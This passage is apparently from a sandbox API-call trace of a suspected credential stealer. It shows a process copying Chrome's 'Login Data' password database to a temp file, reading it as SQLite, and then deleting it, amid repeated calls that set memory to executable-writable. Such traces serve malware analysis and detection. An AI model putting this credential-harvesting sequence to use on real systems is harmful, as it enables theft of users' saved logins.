| out: lpWideCharStr="15564902ḧṽ\x10") returned 4 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df758*=0x0, psz="1556", len=0x4 | out: pbstr=0x1e7df758*="1556") returned 1 [0155.745] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1e7df625, cbMultiByte=4, lpWideCharStr=0x1e7de5fc, cchWideChar=2047 | out: lpWideCharStr="3913564902ḧṽ\x10") returned 4 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df754*=0x0, psz="3913", len=0x4 | out: pbstr=0x1e7df754*="3913") returned 1 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df7b8*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x4b | out: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df768*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x4b | out: pbstr=0x1e7df768*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", len=0x4b | out: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data") returned 1 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df764*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x4a | out: pbstr=0x1e7df764*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\\\Default\\Login Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x4a | out: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0155.745] SysReAllocStringLen (in: pbstr=0x1e7df760*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x4a | out: pbstr=0x1e7df760*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data", len=0x4a | out: pbstr=0x1e7df7b8*="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data") returned 1 [0155.746] ExpandEnvironmentStringsW (in: lpSrc="%TEMP%", lpDst=0x1e2a0154, nSize=0x8000 | out: lpDst="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp") returned 0x25 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df7b4*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df768*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df768*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df764*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df764*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df760*=0x0, psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df760*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] SysReAllocStringLen (in: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", psz="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", len=0x41 | out: pbstr=0x1e7df7b4*="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 1 [0155.746] CopyFileW (lpExistingFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\google\\chrome\\user data\\default\\login data"), lpNewFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp"), bFailIfExists=1) returned 1 [0155.759] WideCharToMultiByte (in: CodePage=0x3, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", cchWideChar=65, lpMultiByteStr=0x1e7de764, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp\x01[", lpUsedDefaultChar=0x0) returned 65 [0155.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf0028, cbMultiByte=65, lpWideCharStr=0x1e7de744, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmpḪDa}") returned 65 [0155.759] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fcf1580, cbMultiByte=65, lpWideCharStr=0x1e7de764, cchWideChar=2047 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmpṽ") returned 65 [0155.759] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp")) returned 0x2020 [0155.768] GetSystemInfo (in: lpSystemInfo=0x74809cd0 | out: lpSystemInfo=0x74809cd0*(dwOemId=0x0, wProcessorArchitecture=0x0, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0x7ffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x24a, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5504)) [0155.769] VirtualAlloc (lpAddress=0x1fe13000, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe13000 [0155.771] VirtualAlloc (lpAddress=0x1fe18000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe18000 [0155.773] VirtualAlloc (lpAddress=0x1fe19000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe19000 [0155.774] VirtualAlloc (lpAddress=0x1fe1a000, dwSize=0x1000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe1a000 [0155.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0155.774] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe18150, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 66 [0155.774] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0155.774] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", nBufferLength=0x45, lpBuffer=0x1fe03d30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", lpFilePart=0x0) returned 0x41 [0155.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 66 [0155.775] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", cchWideChar=-1, lpMultiByteStr=0x1fe181a0, cbMultiByte=66, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp", lpUsedDefaultChar=0x0) returned 66 [0155.776] VirtualAlloc (lpAddress=0x1fe1b000, dwSize=0x10000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe1b000 [0155.776] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 66 [0155.777] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b5e8, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=66 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp") returned 66 [0155.777] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp"), fInfoLevelId=0x0, lpFileInformation=0x1e7df580 | out: lpFileInformation=0x1e7df580*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa458b5e0, ftCreationTime.dwHighDateTime=0x1d6b6fb, ftLastAccessTime.dwLowDateTime=0xa458b5e0, ftLastAccessTime.dwHighDateTime=0x1d6b6fb, ftLastWriteTime.dwLowDateTime=0xc8aad00, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0155.777] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5f0 [0155.778] VirtualAlloc (lpAddress=0x1fe2b000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe2b000 [0155.779] VirtualAlloc (lpAddress=0x1fe33000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe33000 [0155.779] ReadFile (in: hFile=0x5f0, lpBuffer=0x1e7df6b0, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x1e7df674, lpOverlapped=0x1e7df638 | out: lpBuffer=0x1e7df6b0*, lpNumberOfBytesRead=0x1e7df674*=0x64, lpOverlapped=0x1e7df638) returned 1 [0155.779] VirtualAlloc (lpAddress=0x1fe35000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe35000 [0155.784] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0155.787] VirtualAlloc (lpAddress=0x1fe55000, dwSize=0x1e000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe55000 [0155.800] LockFileEx (in: hFile=0x5f0, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7dea38 | out: lpOverlapped=0x1e7dea38) returned 1 [0155.801] LockFileEx (in: hFile=0x5f0, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7dea2c | out: lpOverlapped=0x1e7dea2c) returned 1 [0155.801] UnlockFileEx (in: hFile=0x5f0, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7dea3c | out: lpOverlapped=0x1e7dea3c) returned 1 [0155.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0155.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2b020, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-journal") returned 74 [0155.801] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7dea38 | out: lpFileInformation=0x1e7dea38*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0155.801] GetLastError () returned 0x2 [0155.801] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0155.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03ca0, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-wal") returned 70 [0155.802] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7dea50 | out: lpFileInformation=0x1e7dea50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0155.802] GetLastError () returned 0x2 [0155.802] GetFileSize (in: hFile=0x5f0, lpFileSizeHigh=0x1e7dea7c | out: lpFileSizeHigh=0x1e7dea7c*=0x0) returned 0x4800 [0155.802] VirtualAlloc (lpAddress=0x1fe73000, dwSize=0xb000, flAllocationType=0x1000, flProtect=0x4) returned 0x1fe73000 [0155.803] ReadFile (in: hFile=0x5f0, lpBuffer=0x1fe7d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7dea58, lpOverlapped=0x1e7dea1c | out: lpBuffer=0x1fe7d3e0*, lpNumberOfBytesRead=0x1e7dea58*=0x800, lpOverlapped=0x1e7dea1c) returned 1 [0155.829] UnlockFileEx (in: hFile=0x5f0, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7de738 | out: lpOverlapped=0x1e7de738) returned 1 [0155.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.831] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.832] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.832] LockFileEx (in: hFile=0x5f0, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df408 | out: lpOverlapped=0x1e7df408) returned 1 [0155.832] LockFileEx (in: hFile=0x5f0, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x1e7df3fc | out: lpOverlapped=0x1e7df3fc) returned 1 [0155.832] UnlockFileEx (in: hFile=0x5f0, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df40c | out: lpOverlapped=0x1e7df40c) returned 1 [0155.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 74 [0155.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b62b, cbMultiByte=-1, lpWideCharStr=0x1fe2e0c0, cchWideChar=74 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-journal") returned 74 [0155.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-journal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df408 | out: lpFileInformation=0x1e7df408*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0155.833] GetLastError () returned 0x2 [0155.833] ReadFile (in: hFile=0x5f0, lpBuffer=0x1e7df48c, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x1e7df474, lpOverlapped=0x1e7df438 | out: lpBuffer=0x1e7df48c*, lpNumberOfBytesRead=0x1e7df474*=0x10, lpOverlapped=0x1e7df438) returned 1 [0155.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0155.833] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x1fe1b675, cbMultiByte=-1, lpWideCharStr=0x1fe03d30, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-wal") returned 70 [0155.833] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp-wal" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x1e7df420 | out: lpFileInformation=0x1e7df420*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0155.833] GetLastError () returned 0x2 [0155.834] GetFileSize (in: hFile=0x5f0, lpFileSizeHigh=0x1e7df44c | out: lpFileSizeHigh=0x1e7df44c*=0x0) returned 0x4800 [0155.834] ReadFile (in: hFile=0x5f0, lpBuffer=0x1fe7cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x1e7df440, lpOverlapped=0x1e7df404 | out: lpBuffer=0x1fe7cb40*, lpNumberOfBytesRead=0x1e7df440*=0x800, lpOverlapped=0x1e7df404) returned 1 [0155.834] UnlockFileEx (in: hFile=0x5f0, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x1e7df3f0 | out: lpOverlapped=0x1e7df3f0) returned 1 [0155.834] CloseHandle (hObject=0x5f0) returned 1 [0155.850] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.851] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.852] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\182004765502204915563913.tmp" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\182004765502204915563913.tmp")) returned 1 [0155.856] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x409000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x403000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x401000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.857] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41d000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x402000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.858] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41b000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.859] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x41c000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.860] FindNextFileW (in: hFindFile=0x1e258c88, lpFindFileData=0x1e7df830 | out: lpFindFileData=0x1e7df830*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb0ef9e0, ftCreationTime.dwHighDateTime=0x1d2f18c, ftLastAccessTime.dwLowDateTime=0xb0ef9e0, ftLastAccessTime.dwHighDateTime=0x1d2f18c, ftLastWriteTime.dwLowDateTime=0xb0ef9e0, ftLastWriteTime.dwHighDateTime=0x1d2f18c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0155.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x408000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.860] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x1fceb298, cbMultiByte=10, lpWideCharStr=0x1e7de7c4, cchWideChar=2047 | out: lpWideCharStr="Login Dataṽ긄瑯ゐῡ룰ῦ") returned 10 [0155.860] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x407000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.861] NtProtectVirtualMemory (in: ProcessHandle=0xffffffff, BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, NewAccessProtection=0x40, OldAccessProtection=0x1a2fa6 | out: BaseAddress=0x1a2fca*=0x404000, NumberOfBytesToProtect=0x1a2fc6, OldAccessProtection=0x1a2fa6*=0x1) returned 0x0 [0155.861] GetFileAttributesW 